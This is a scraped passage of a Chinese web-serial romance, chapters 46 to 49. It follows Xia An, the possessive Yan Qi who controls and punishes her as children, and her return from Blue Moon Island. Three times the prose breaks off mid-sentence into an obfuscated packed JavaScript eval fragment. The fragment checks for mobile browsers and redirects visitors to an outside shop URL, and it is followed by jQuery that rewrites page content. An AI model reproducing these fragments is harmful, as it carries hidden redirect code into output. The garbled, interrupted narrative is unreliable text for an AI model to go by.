夏家人丁单薄,到了夏桉这一辈就一个女孩,从小被当作掌上明珠一样捧在手心里,又生了漂亮可爱,余薇一直喜欢的不行,更何况夏桉那点被娇惯出来的小性子比起颜祈,根本不值得一提。 颜淙出生的时候,颜家还是老爷子掌权,余薇对于自己的第一个孩子有着过多期望,对孩子严厉的同时又不希望他丧失掉属于孩子的童真,所以一开始采用的是半放养式教育,结果后来颜淙被接到了老爷子底下亲自教育,养成了一副稳重的闷性子。 这样的儿子他们有一个了,不需要再来一个,结果等到颜祈出生的时候,管家权交到了他们手里,颜淙那时候也上小学了,总觉得他们这样教育孩子不对,每次都纠正式的跟个小大人一样去教育颜祈。 后来商业版图扩张,这件事情就完全落在颜淙的身上,小儿子虽然有点小脾气,但本性不坏,在某种程度上极大满足了余薇夫妇没有体会过的父母之情。 颜家开出的时薪很高,这一度让那位年轻的女孩以为自己将会面对一个多么麻烦的学生,但出乎意料,夏桉从来都是安安静静的,反而是那个每次都在画室门口等她的小男孩总是没有一点多余的耐心。 绝对不允许她晚下课。 年轻的女孩看着这个长相精致却行事乖张的小少爷倒也不生气,有时候还觉得挺好玩的,她从来没见过这么高需求的孩子,他太过敏感和不安,又独占欲太强,所以不肯放夏桉任何一个脱离视线的机会。 心理学上有个词叫“阿贝贝”,指孩子会在童年时期对自己使用非常久的东西产生强烈的依恋感。 这显然已经不符合颜祈的年纪,可是很奇怪,年轻的女孩在看到颜祈把夏桉接走的时候就是产生了这样的心理。 两个小孩行走在这座她第一次来差点迷路,说话都会有回响的深宅大院里,稚嫩的背影看似拥有一切,可是能握住的又好像只有彼此那双小小的手。 颜祈这次没有再乱发脾气,他被颜淙教训过,更知道如果他又像上次那样,也许夏桉那个胆小的性子又会被吓到,这一年春天并不冷,可是夏桉的咳嗽却一直没好,有好多次他想出去玩,夏桉都咳的喘不过气来。 而且夏桉也确实需要学一点东西,要不然以后说出来他和一个娇气包在一起这实在太难听了,或许一个画家会好一点。 颜祈揪着某种奇怪的心理,看着那些他送给夏桉却未曾被拆封的琴谱,想起已经很久没有在这座房子里听到别的声响了,竟比那位年轻的老师更希望夏桉在绘画上能有所成就。 于是当他和夏桉单独待在画室的时候,颜祈某些情绪得到了安抚,他不会去催促夏桉快点画完,而是会在旁边的耐心玩游戏等她,发展到后面,颜祈也开始进画室上课。 夏桉对色彩的敏锐度很高,绘画老师在惊叹她天赋的同时,也对新来的另一位学生感到头疼。 她完全控制不住颜祈,但好在夏桉坐得住,交出的作品总是远超她的意想。 颜祈有了新的喜好,他会在夏桉每次画完后去那幅画上打下属于自己的记号,小小的,不会破坏画的整体,但一定是最浓墨重彩的那一笔。 春末,夏桉十岁了,颜祈不是什么吝啬的小孩,虽然夏桉送给他的礼物他并不满意,但这不妨碍颜祈决定送她一个最大的礼物。 夏桉学画画不过三个月,颜祈就帮她开了第一个画展。 他请了全班的同学过来,直到那个时候颜祈也并不认为那些人有资格和夏桉一起玩,他总是会擅自做主安排夏桉的很多事情,但是他也有小孩子想炫耀的天性,需要让那些人看到夏桉和他的画。 尽管他在那些画上涂上去的颜料还没有指甲盖那么多。 他想证明,夏桉除了爱哭以外还是有其他优点的。 被家长送来的孩子很多,但夏桉只收到了颜祈一个人的礼物,是一个很漂亮的星星夜灯,关上灯还能投放到天花板上。 那天晚上的星星没能投去天花板,它被蒙在了被子里。 两个小孩脑袋挨着脑袋,看到被子里流光四溢的星星,夏桉居然有点适应不过来,静静的看着那些星星不说话,颜祈的阴晴不定总是让她惶恐不安。 颜祈对白天里大家的反应都很满意,他也有受一点那位年轻的老师影响,很多次,他看到夏桉在交作品的时候格外紧张,直到老师表扬她才会偷偷松一口气。 他觉得夏桉最近表现的很好,表现听话的孩子都应该获得一些奖励。 于是他说:“以后我会送你很多漂亮的东西。” 夏桉不解的看着他,颜祈嘴角翘起一个不明显的弧度接着说:“我们会一辈子在一起,就像我爸爸和妈妈那样。” 夏桉手里小夜灯掉在了床上,绚丽的星星如流星陨落一般落在了前方。 颜祈又生气了。 因为夏桉没有表现得很期待和他在一起。 但很快他又自己气消了,他想,或许以夏桉那样呆呆的小脑袋瓜可能还不理解别人话里的意思,他比夏桉大半岁,自然会懂得更多一点。 这个时候的颜祈不能说完全明白,但他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115184|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实懂得了一些事情,比如他已经明白他不能再像小时候那样因为不想夏桉哭就去亲她,有些事情要等长大了才行,也明白那些流言蜚语的意思是他未来要和夏桉一辈子在一起。 颜祈对这件事情接受的很快,心想除了他,谁能接受这样一个娇气的爱哭鬼。 都怪爸爸妈妈因为夏叔叔他们的面子都忘记问他的意见了,事到如今,也只能这样了。 他的心思悄然转变,甚至还有一丝豁然开朗,哦,原来他所做这一切不过是为了让夏桉更好的和他在一起。 颜祈变相的对夏桉提高了一些要求,比如成绩太差可不行,偏科也不行,字要写的端端正正的,反正最好什么坏毛病都不要有。 夏桉陷入一种高压的生活,所有的时间被颜祈安排的满满当当,唯独陪他玩游戏的时间定点不变。 她就像生在一个真空的玻璃罩里,所能接触的一切都需要在颜祈的默许下才能进入到她的世界,哪怕只是一本最简单的故事书。 颜祈有时候也会变相的给予夏桉一些奖励,他赏罚分明,对夏桉言出必行,陆陆续续真送了很多亮晶晶漂亮的小玩意给她,只是夏桉一次也没拿出来。 后来颜祈就在她的房子定制了一个很大的琉璃柜,专门摆他送给夏桉的礼物,没过多久又给自己也定制了一个,总爱带着夏桉在那个柜子门前晃悠。 盛夏,颜淙出发去法国读书。 基于颜祈上半年表现不错,加上两个小孩后来也没有发生矛盾,颜淙在颜祈身上终于体会到了一丝身为兄长的欣慰,他临行前告诉颜祈要继续保持这种状态,时刻不要松懈对自己的要求,否则就会立马飞回来。 那天半夜,颜祈被一阵哭声吵醒。 夏桉再次感受到分离所带来的难过,哪怕颜淙在这个房子里和她碰面的次数并不多,对待她也总是一副例行公事的态度,可是她从八岁那年就一直就在失去,拥有的总是很少。 这让颜祈很不快,他抬手摸上夏桉的眼泪,停在她的眼皮上,“他是我哥哥,你为什么要哭?” 如果打开灯夏桉就会发现,其实颜祈说这句话时和去年颜淙生日他质问自己为什么两个人礼物一样,神情是一样的阴沉冰冷。 但夏桉已经在这一段时间的搓磨里心思变得更加敏锐,她本能的察觉到这个问题的深意。 在过去的所有时间里,她都在反复明白一个道理,惹颜祈生气她会受到很多惩罚。 会受伤会被赶出去,还有可能关小黑屋子里不能吃晚饭,属于她的东西也会被颜祈或抢或丢,周围的人会听不见她说话,但是颜祈惹她生气却完全不会受到任何处罚,因为这里本来就是颜祈的家。 在颜家就要听颜祈的规矩,这是颜祈九岁时就告诉过她的道理。 所以,夏桉像试探那样看着他说:“我只是有点害怕。” 颜祈在黑暗中调整了表情,他伸手抱住夏桉,手在她背后就跟哄小孩似的轻拍:“没事的,我会陪着你。” 这一年,偌大的颜家真的开始只剩下她和颜祈两个人,夏桉不管是去学校还是在颜家,可以说话的人只剩下颜祈一个。 而她也终于摸到了那把正确对待颜祈的钥匙。 年末,颜淙突击检查式的回来了一次,发现两个小孩又住在一起,这次他没有教训颜祈,而是心平气和的教育了颜祈一顿。 颜祈这时已经明白的更多,也有意要锻炼夏桉的胆子,他离开时眼珠子转动了一下,语气放轻道:“夏桉,你一个人也可以的对不对。” 夏桉对颜祈的恐惧其实远超过那些躲在暗处的鬼怪,但她还是配合颜祈的表情,适时眼周红了一圈。 颜祈没再去夏桉的房间睡觉,他总是在哄夏桉睡着后才会回自己的房间。 此后的很多年,夏桉都没有对颜祈说过真话,也再没有惹过颜祈生气。 颜祈也终于在夏桉那里占据了绝对地位,夏桉会满足他所有的高需求。 直到他们十五岁那年,夏桉在开学前一个人飞去了法国。 47. 第四十七章 颜祈独自离开了蓝月岛。 其实蓝月岛的人能真的对他做什么呢?孙副总带人来岛上的时候他们都不敢真的砸船砸人,只会把石子尽数落在前面的水里,妄图用激起的水花来吓退他们。 蓝月岛人在海洋驰骋面对过无数骇浪,自以为在浪尖曾靠一叶浮舟直面生死天不怕地不怕,可是浪潮退去回到陆地,海洋那一套生死有命的规矩用不上了。 他们面对真正的强权不过是刚上岸的鱼,惊恐愤怒,能做的也不过就是用矫健的后尾拍溅起一点虚张声势的海水,站在渔网外面的人看着可笑,可他们却还在担心那些海水会真的在对方的衣角留下灰白的盐渍,一边胆怯一边期望,以为这样就能够守住自己赖以生存的家园。 蓝月岛上多一个平南不多,少一个平南不少,他本就是个外来者,只是在这里短暂生活过一段时间,能有什么感情。 “你就当他是只猫啊狗啊什么的,过段时间就忘了。”二妞这样安慰道。 除了王淑华知道内情,岛上其他人还都当颜祈是外界早就混进来的探子,现在不过是被发现夹着尾巴灰溜溜的跑了。 只是不知道这个探子是太愚笨还是真的太聪明,命运扯着一根缠绕的线偏偏把他们绑在了一起。 于是在所有人眼里颜祈不仅是一个狡猾的探子,还是一个欺骗小姑娘感情的坏男人。 二妞愤愤道:“我都和你说了,那种男人不可靠的,说不定他从一开始就在撒谎,根本就没有失忆。” “他失忆过,”夏桉语气平淡的陈述着这个事实,“只是后来又想起来了。” 她太了解颜祈的手段,他那种直来直去的性子怎么可能忍得住这种生活。 二妞沉默下来,看到夏桉此刻竟然还勉强扯出了个笑,反过来像在安慰被欺骗的她一样,但这样的夏桉也令她感觉到异常的陌生,她笑着,可眼底却全是讽刺的薄凉。 二妞不敢再当着她的面多说,只能在心里咒骂。 只是再咒骂能有什么用,不过是解解嘴上的痛恨,心里的愤恨要怎么消解。 平南就是把他们所有人都骗了。 不过晌午,天边就已经堆积了一大片乌云,一阵闷风刮过,夏桉赶到家门口时,雨势逐渐增大。 她收好伞,看到王淑华佝偻着背从厨房里探出头来,两个人都没有说话。 这样的相处状态从颜祈两天前离开就一直维持着,谁也没有再提起那件事。 夏桉回二楼换了身干爽的衣服,明明还是上午天色却暗的和入夜一样,她伸手打开灯抱腿坐在竹椅的靠背上,窗外沙沙簌簌的雨声没完没了。 哐嚓一声,灯灭了。 世界昏隐隐的一片。 夏桉没去试开关,对这种随时跳闸的事情习以为常,也可能是直接停电了,今天的雨好像有点不一样,不似往日那般闷热,而是潮湿的冷意,她揉了揉眼睛想去换一件长袖,随手拍了一下桌子上那盏夜灯。 橘黄的暖光映照了磨砂玻璃上,像黄昏时寂静的暮霭。 ...... ——灯灭。 无尽黑暗里,夏桉好像一晃回到了很多年前,她缩在昏暗的床底,光亮被隔绝在四方之外,颜祈绷着小脸朝她爬过去,冷厉的让她道歉。 她摸到自己因拍门过度而红肿的手心,那里有一颗小小的木刺正隐隐作痛。 颜祈把她骗了出去,在此后不厌其烦的问她,夏桉,你为什么总要惹我生气。 你如果总是这样不听话,难道真的要我把你赶出去? ...... 一簇微亮的暖光从她的掌心扩散—— 少年靠在灰扑扑的水泥墙下,在起雾的玻璃上画了一个笑脸。 盈盈灯光下,他的目光那样清泽,夏桉曾在里面清楚的看见自己。 他白皙修长的手撑在窗台上,和她呼吸交织。 ...... 兔子夜灯在夏桉的手下点亮又揿息,往事像老电影里的幻灯片,在现在与过往之间相互切换,频次越来越快。 终于,夏桉回到了那个明媚的夏天。 她被母亲抱着从车上下来,入目是一栋很富丽的大房子,灼灼日光刺眼眩目,她低下头,对视上一双乌黑发亮的眼睛,男孩面容清峻精致,柔软的黑发随意的垂在额前,正蹲在地上玩一辆红色的小汽车。 男孩紧盯着她,放下手里的小汽车一步步朝她走来,伸过手。 她新买的裙子太白了,以至于看着那只汗津津沾满灰尘小手不由自主想朝母亲的身后躲去,母亲把她带到身前告诉她那是小祈哥哥。 颜祈抓住了她的手,用力扯着她像是要去什么地方。 她不高兴的挣脱开。 下一秒被推倒在地上。 那条白色公主裙上蹭满灰尘,夏桉娇嫩的手掌心擦过粗粝的地面,听到周围响起了好几道不同程度的惊呼声,她的视线逐渐模糊,逆光而上,男孩俊逸的脸上依旧面无表情,视线却格外阴沉。 他们的相遇从第一次就在互相伤害。 夏桉的手放在那盏兔子灯上,灯还亮着,她手一紧关了要塞进隔板里,可拉出隔板第一幅画就是那日他们在大榕树下的场景。 叮叮风铃声犹在耳畔,可时过境迁却物是人非。 夏桉滞了一瞬,视线停留在桌案上那一叠画稿里,那么多无脸的画像,她竟然始终没有发现那是颜祈的脸。 她一边做着过往的噩梦,一边在现实之中重蹈覆辙,可是有些东西不一样了,以前是虚与委蛇,现在才是真正的噩梦一场。 平南于珍珠,从来不是什么归属感。 那是颜祈对夏桉多年来的掌控。 一声惊雷将天边点亮,王淑华在楼下突然爆发一阵猛烈的咳嗽,夏桉回过神来,随便从柜子里扯了件外套赶下去,闻到一股难闻的烧焦味。 转头一看,电表箱年久老化,在前面那一声惊雷里已彻底报废,但好在没有引起事故。 王淑华半阖着眼皮靠在床头,屋子里黑的跟浸了墨一样,夏桉点了根蜡烛放在一旁,窗外冷意四起,星火如豆,但总算让屋子里有了一点光亮。 她兑了一杯温水扶王淑华喝了两口,坐在她的床边没走。 这种天气往常王淑华都会发病的,今天却格外清醒,一双凹陷的眼看着她湿漉漉的眼眶,干枯的手动了动,最终没有伸出去。 她叹了一声道:“既然舍不得,又何必主动赶他走。” 夏桉矢口否认:“没有。” 她默了一瞬补充似的说:“他不是平南。” 这个世界上根本就没有平南,一切都是假的,是她失忆时荒谬的失误。 王淑华不知道他们过去发生过什么,现在的所有不正是她最想要的吗,没有平南,只有她和‘珍珠’,可她也终究是老了,万事都开始寻一个因果。 “那你呢?”她已经恢复了记忆,为什么不跟着一起离开,她明知道自己已经不是珍珠了。 “你不是救了我吗?”夏桉语气毫无波澜的回道。 王淑华脸色突变:“你在怨我?” 也是,谁能不怨呢? “我早就看出来你不是一般人家的姑娘,可还是自私作祟,装疯卖傻把你留在了我身边。”王淑华平躺着,不去看她,“你怨我也是应该的,可是你现在记起来了,也该回到自己的家里去,我对不住你,也对不住你的父母。” “倘若你父母日后来怪罪我,也是我罪有应得,是我该受着的,可我只是太想他们了,我只是......” “没有了。”夏桉闭着眼打断她,一行清泪滑落,“我早就没有了。” 王淑华救了她,王淑华只有她,刚好夏桉谁也没有,还真是一样的可怜。 夏桉咽下喉中的哽塞睁开眼:“你别想太多,陈医生说你只要按时吃药,以后都会好的......奶奶——” 夏桉瞳孔一缩,立马扶住王淑华慌乱的伸手去擦她嘴角的血,却怎么都擦不干净,她浑身都发麻,下一瞬,王淑华整个身子都抽搐了一下,猛地挺直伏在床榻边,又呕出一口鲜血。 王淑华虚弱的呼吸着,眼角有泪滑落滴在满是尘埃的地上,闷声呜咽。 “我去,我去找陈医生。”夏桉手颤抖着,感觉王淑华的身子热的发烫。 儿时父母的离世在她的记忆里已经变得模糊,她起初一直被骗着,余薇告诉她父母只是临时出国了,她还耍脾气哭了一阵,心里责备他们为什么不带着自己。 后来余薇快瞒不下去,又骗她就快回来了,只是还没给她选好礼物,她期盼了很久,甚至还在心里想过如果那个礼物不是她最想要的那个,她才不要那么轻易的原谅他们。 其实那个时候夏桉已经在学校感受到一点不对劲,放学时那些家长总是会有意无意的看向她,学校里有不懂事的小朋友还凑到她面前去问,只是往往还没说完就被颜祈给吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137146|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。 她又想,其实不要礼物也可以,不带自己去也可以,她只是有点想回家了,保姆不知道为什么总是会用怨恨的眼睛看着她,很像书里那些恶毒的巫婆。 可杨婆婆以前对她很好的,会给她扎最漂亮的头发,每天哄着她追在她后面,家里的每个人都叫她小公主。 她什么也没有等到,只听到那些厨佣的话,后来的所有都变成了不真实的梦,分不清真假,直到颜祈用他的惩罚将这一切打破。 夏桉回到了现实里,她蹲在小黑屋的门后,彻彻底底明白自己到底失去了什么。 “你......都是命啊......” “我对不起你,也对不起那个孩子。”王淑华伸手拉住了她,仰头倒在床上喘着粗气,嘴里念念叨叨的重复:“是我害了你们......是我害了你们......” 夏桉不敢用力,凑近才把那些话听清楚。 “珍珠,是我害了你,我害了所有人,都是我活该,我终于可以给所有人偿命了,给所有人偿命了。”王淑华神志不清的来回重复,声音越来越微弱。 夏桉猛然反应王淑华竟然在此刻发病了,她将王淑华在床上安顿好。 雨势随着狂风逐渐增大,草木被狂风吹的四处摇晃,道路泥泞,只有远处的房子隐隐散发着微弱的黯光。 下午快一点,二妞家的大门被夏桉用力拍打着,雨水顺着她的发丝从脖颈处灌进去,整个人全部湿透。 二妞吃完中饭刚要去午睡,听到门口外头震天的敲门声撑着一把大伞顶着风才艰难走到门口,打开门就看到跟落汤鸡似的夏桉,吓了一跳连忙把伞移过去:“珍珠,怎么了?” 夏桉一张嘴,不知道是雨水还是眼泪落进了她的嘴里,无比苦涩,她伸手用力抹了一把:“奶奶,奶奶吐血了,你快帮我去看看,我去找陈医生。” “什么,好好好,我叫上我妈一起去。”二妞急忙扭头往屋子里叫人。 夏桉听都没听完,用力喘息了一口又要朝陈医生家跑,被二妞一把拉住。 夏桉神经紧绷的,周围的一切又开始变得虚幻,她定了定神只能看见二妞的嘴张张合合在说些什么,终于勉强分辨出她的意思。 “珍珠,这么大的雨你怎么不拿伞啊。” 二妞把手里的伞递过去,又被夏桉推了回来。 “不用了,这风太大,根本就没法撑。”她转身朝另一边跑去。 夏桉跑到陈医生家时身上已经不成样子,轰隆隆的雷声已经将她的声音完全盖住,但好在陈医生家的院子门没关,让她直接闯了进去。 她还算冷静的把王淑华的情况的交代了一遍,陈医生心下一惊,王淑华病情已经完全超过她的可控范围,蓝月岛上又没有什么专业的医疗设备,怕再等下去会有什么意外情况,她当机立断让夏桉去岛长那里询问有没有船可以立即出海。 旁边院子里的人听到动静早就站在屋下探听情况,见此赶忙道:“我早上听说有财家今天回船了,估摸着这个时间点差不多刚好到,他那艘船最快。” “陈医生,我去。”夏桉气息不稳扶了一下门框,忍着难受对那个说话的人恳求道:“叔,你帮我去告诉一下岛长,我现在就去渡口那里。” “好好好。” 陈医生家离渡口不算远,狂风挟着急雨迎面撞在她的脸上险些睁不开眼睛,夏桉弓着身体忍不住打了寒噤,从一条狭窄的小路抄了过去。 渡口那处确实有船,只是和蓝月岛的渔船天壤之别,夏桉来不及细想,跌跌撞撞呼叫着跑过去。 她本就跑了许久,浑身湿透被风刮的僵疼,泥地被雨水盖过看不清前路,夏桉遽然摔在渡口的木板前,脚踝处传来一阵刺痛,喉咙充血引起胃里一阵翻涌。 她死死咬住牙根,拼命忍住,指甲陷入泥地里。 夏桉突然感觉天好像更黑了,她怔怔地抬起头,雨珠从她密长的睫毛上坠落,一双纯手工制作的黑色皮鞋停在了她的面前。 雨水在那人的笔挺的裤脚旁绽放成一朵朵硕大的水花,夏桉下意识想要请求这个人帮一帮她,又缩着手不敢伸过去,害怕手上的泥水会沾污别人的衣服。 她也不知道自己怎么会认得眼前这个看起来成熟俊朗的男人,但是纷沓而来的记忆已经让她开了口:“小淙哥哥。” 一声闷雷从头顶滚过,暴雨在此刻终于对蓝月岛发起了猛烈的攻击。 夏天结束了。 48. 第四十八章 王淑华被送到颜氏集团控股的私人医院,在同一层的VIP病房里,住着被接回来的夏桉。 在商言商,每个阶层有自己的处理方式,一切以利益为重,但颜淙不喜欢丑闻,哪怕真的采用一些上不了台面的手段,手底下的人也就不敢乱来。 蓝月岛那点小事情本来入不了颜淙的耳,对万世而言那不过就是一个短期内看不到的回报的小项目,手续齐全,补偿也符合人道主义,不管是从哪个角度都无从指摘。 直到助理在和他在对完会议流程后露出迟疑的神色,颜淙做事一贯讲究效率,助理不敢多拖延,把孙副总在岛上看到颜祈的事说了出来。 颜淙眉头微微拧着,但也只是轻轻‘嗯’了一声,没做过多评价,助理只好为难的继续说:“我们还找到了夏小姐。” 颜淙蓦然抬起头,助理顿了一下,委婉道:“也在蓝月岛。” 他从刚毕业就选到颜淙身边,对颜家的事也略微有些了解,听说那是颜家故交从小就寄养在家里的孩子,在颜淙订婚以前,他去帮颜淙送东西短暂的接触过夏桉。 女孩年纪虽然尚小,但已经出落的明艳出众,性子很静,每次都会提前在约定好的地方等他,有些像他年少时通过外界读物所认知的那种标准的千金小姐。 如果说有哪里不合理的话—— 大概就是他每次还都会见到颜祈。 这很奇怪,两人学校并不在一个时区,中间隔着一万多公里的航程,但颜祈却能次次都在。 接礼物的也从来不是夏桉,而是一直在旁边架手背着画板,死死盯着他又好像很不耐烦的颜祈,他总是先检查一遍才不情愿的递给夏桉,嘀咕说这有什么好送的。 夏桉就在旁边眼神有些空洞的看着颜祈,然后习以为常的接过礼物,再礼貌跟他以及对颜淙表示谢意。 渐渐的,他察觉出一丝不对劲,十六七岁的少年少女,青梅竹马情窦初开,在这个年纪产生一些暧昧试探的举措也不足为奇,更何况两人年纪相仿,家世容貌登对,不管从哪个方面看都是佳偶天成。 颜祈就像是一只漂亮又爱护食的大金毛,谁往夏桉身边凑过去他都要用力的嗅两口,再装腔作势的把别人吓走。 爱情本来就是具有占有性,更何况是这种青涩的初恋。 比起繁琐又枯燥的工作,刚刚毕业的他其实还挺愿意做这种无聊的事情,大概就是知道自己会无可避免的变成一个大人,但还是会不免怀念那些单纯的年少时光,更何况这还是真真切切在他面前上演的4K超清剧情。 正当他以为自己在实时观看一部豪门的青春爱情片,并暗自觉得窥探到豪门辛秘时,心里奇怪的分裂感也越来越强烈。 那种类似于陷入爱情粉红泡泡的氛围,貌似好像只出现在颜祈一个人身上。 按理,这种带点占有欲的霸道俊俏少年,其实很符合小女生对爱情的初次幻想。 但工作渐多他也没放在心上,只是觉得两人气场虽然不同但莫名和谐,而且看着是真的很养眼,或许是夏桉那种学艺术的小女孩气质一般都比较清冷。 礼物断断续续送的次数也不多,大概就是颜淙路过那座城市突然想起就让他去送一下,再后来有些事情变了,又好像没变。 礼物依旧是他送,每次查看礼物的人也还是颜祈,他查看完再嫌弃的递给夏桉,所有的一切就像是固定程序里的代码,连夏桉每次见他会意点头的弧度都不变。 唯一改变的——是地址。 夏桉上了大学,去了颜祈的城市。 青春小说里,故事到达这里应该就要happyending了,豪门小少爷和清冷大小姐克服路程距离,终于相聚在一起,从此开启谈情说爱的大学生活。 可偏偏他们之间那件最重要的事情没变,颜祈去找夏桉,他依旧在找,在飞行跨越大洋和陆地,以前是从澳洲飞法国,现在是从法国飞回来。 起点和终点好像互换了,可是他的目的地却从来只是夏桉的身边。 这种事情太剧情化了,和偶像剧里相隔两端的男女主在某个纪念日都想给对方一个惊喜,于是双双忍住不辞辛苦飞往对方的城市,而后彼此之间美丽的错过,打开门发现是一场空。 如若不是他这两年在公司见过一些大风大浪,都想现场直接对他们感叹一句,好一场双向奔赴又错过的爱情。 这么重要的事情,就不能问问对方? 事情从这以后开始朝着诡异又莫名其妙的方向走去,在澳洲仅见过的那几次,颜祈的脸一次比一次黑,半年后,夏桉和颜淙订婚了。 剧情彻底跑偏。 他作为一个无关紧要的旁观者,心情也很复杂,这CP怎么磕着磕着,磕到石头上了。 他那些年帮忙转交的礼物,竟然一直是送给自己未来老板娘的!? 豪门果然水深!!! 毕竟磕了快三年,虽然他的老板不管从哪个方面都是偶像剧男主的顶配,但一朝改变cp还真是有点难以接受,但他也只能无奈反思,难道真是自己一直会错意了,其实那些年颜祈护主护的并不是夏桉,而是自己的亲哥哥?! 恰如此刻,他站在一旁静候,神思散漫,明知道应该装聋作哑却还是会忍不住偷偷瞟一眼发生在眼前的‘最新路况’。 夏桉的眼泪掉的毫无缘由,可能只是单纯觉得疲惫,不知道事情怎么会变成这样,又或者劫后余生,自己回到正确位置的怅然所失。 总之她还没有整理好情绪,颜淙就已经从门口走了进来。 夏桉胡乱的擦了擦,面对颜淙有点不知所措。 颜淙垂眸看着她,紧接着,他缓缓抬起手,骨骼修长匀称的手指朝她靠近,夏桉不自觉往后退了一点。 颜淙顿了顿,温热的指腹直直的落在了她的脸颊上,抹掉了没擦干的眼泪。 “很痛吗?” 夏桉愣了一瞬,摇摇头又往后退了一点。 颜淙平静的坐了下来:“医生说你腿上的伤并不严重,脑部CT也正常,休息几天等烧退就可以回家了。” “还有哪里不舒服吗?” “没有。”夏桉想了想又问,“那个......奶奶她......” “她没事,医生已经帮她全部检查过了,没有你想的那么严重。” 夏桉低下头,江州市的医生算得上全国顶尖,颜淙也不是那种会为了这种事特意说谎安慰的人,想来确实已经脱离了危险。 “这次是我的问题。”颜淙自觉在这件事情亏欠夏桉,自己提出来的婚约又没有照顾好她,连她失踪了都是颜祈来告知。 夏桉看着自己手上的薄茧,没抬头:“和你没关系,是我自己太容易相信别人了。” 颜淙对她话里的疏远不甚在意:“你想起来了?” 夏桉抿了抿唇还未开口,门口的保镖敲了两下门进来汇报:“颜总,有人来给夏小姐送餐,看着五十多岁的样子,自称是夏小姐从小的保姆。” 颜淙掀眸,没再继续问下去:“让她进来。” 保镖出去没一会儿,杨素梅手里提着五层的饭盒从外头走了进来,见着颜淙素是拘谨,低头耷脑道:“大少爷。” 她从十多岁就在夏桉母亲家做保姆,做了二十多年转去夏家,最后才跟着夏桉来到颜家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152142|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果开口第一句却是先叫了颜淙。 颜淙不动声色扫了她一眼,起身对夏桉说:“你先休息,我晚点再来看你。” “谢谢小淙哥哥。” 颜淙深深看了她一眼,他们订婚之前便已说过称呼这个问题,两个之间本就差了七岁,颜淙又算是从小看着她长大的,内心不可控会在夏桉这样叫他的时候产生一点罪恶感。 但夏桉从小叫惯了,颜淙在她心里一直跟个大人一样,威严深沉,嘴上的称呼总是改不过来,还会产生如果直呼大名是很不礼貌的行为,只能避免着去这样称呼他。 如今,夏桉又变回了从前,还捎带上了一点疏远。 ...... 待到颜淙完全离开,杨素梅才把饭盒打开一样样打开摆在餐桌上。 她的手艺很好,满桌子清淡口味的菜也不带重复,还细致的在一些食材上雕了花样。 夏桉默不作声的看着她把汤搅了搅递过来,想起这些东西已经有十多年没有见过了,小时候杨素梅为了哄她多吃点还特意去外面上了厨艺课,学那些动漫的可爱摆法。 她喝了一小口,尝不出什么味道,鼻子也变得开始有点堵。 “不合口味吗?”杨素梅坐在一旁不自在的攥了攥手,“这些都是你小时候最爱吃的。” “没有,和以前一样。”她沉默的拿起汤勺又喝了一口。 杨素梅悄悄松了一口气,把远处的菜往前端了点方便她能夹到,“那就好,小桉,你要多吃点,在岛上的日子肯定不好过吧。” “那种穷地方能给你吃什么好东西,还好颜淙少爷把你带了回来,要不然我怎么和小姐他们交代。” 她抹着眼角浑浊的泪,痛心入骨。 夏桉静静的吃着,没做安慰。 哭了两分钟,杨素梅也独自哭不下去了,抹着眼泪啜泣道:“小桉,我在岛上和你说的那些事情你就当忘了吧,是不是颜家都不重要,只要你过的好,什么都没有关系。” 夏桉淡淡回道:“知道了。” 杨素梅看着她无动于衷的表情心下一愣,张了张嘴想说点什么又圆不回去,可是戏都唱到了这份上了,她也只能惺惺作态继续说:“你能这样想就好,都是我的错没有替小姐好好保护你,让你如今受了这样的委屈。” “颜淙少爷是个好人,他从小对你也好,如今还掌管了颜家的产业,你和他订了婚现在也回来了,小姐他们要是泉下有知肯定也会放心的。” 她话音一转提高音量,眼眶里的泪又流了出来:“只是可怜了你子显哥哥——” “子显哥哥应该也希望我幸福吧。”夏桉打断她,把后话接上。 杨素梅哑然,听到她继续说:“我相信子显哥哥肯定能理解我,他从前就说我配拥有这个世界上最好的东西,现在我找到了,你不是也觉得颜淙哥很好。” “颜淙哥说,就算结婚了我也可以继续追求我自己的人生,他绝对不会让我为难,子显哥哥他们看到了一定也在心里为我开心,觉得我找到了可以托付的人。” “小姐。”杨素梅听着一脸不可思议,抬头撞见她看起来没有丝毫感情的眸子,吓的站起来。 夏桉这简直不是看开了,而是看的太开了。 “你都记起来了?” 夏桉脸上的情绪难辨,看着她平铺直叙道:“这些不都是你告诉我的吗?” “你说颜淙是我的未婚夫,颜家是我......” 门边突然发出一声巨响,刚刚还紧闭的房门被猝然打开,颜祈不知何时站在了门边,冷哼一声。 勾了勾嘴角,嗤笑道:“谁同意的?” 49. 第四十九章 杨素梅恭敬的站起来:“小少爷。” 